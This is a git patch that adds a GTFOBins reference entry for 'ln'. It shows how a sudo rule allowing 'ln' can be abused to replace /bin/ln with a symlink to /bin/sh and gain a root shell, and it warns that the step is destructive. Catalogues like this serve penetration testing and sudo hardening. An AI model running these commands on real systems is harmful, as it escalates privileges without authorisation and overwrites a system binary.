From fcde0d9160de2c6074cac5a7f0a809417c7116e1 Mon Sep 17 00:00:00 2001 From: ARZ <60057481+AbdullahRizwan101@users.noreply.github.com> Date: Thu, 15 Jul 2021 17:23:51 +0500 Subject: [PATCH] Add ln sudo --- _gtfobins/ln.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 _gtfobins/ln.md diff --git a/_gtfobins/ln.md b/_gtfobins/ln.md new file mode 100644 index 0000000..41dccd2 --- /dev/null +++ b/_gtfobins/ln.md @@ -0,0 +1,8 @@ +--- +description: This overrides `ln` itself with a symlink to a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `ln` by path. Warning, this is a destructive action. +functions: + sudo: + - code: | + sudo ln -fs /bin/sh /bin/ln + sudo ln +---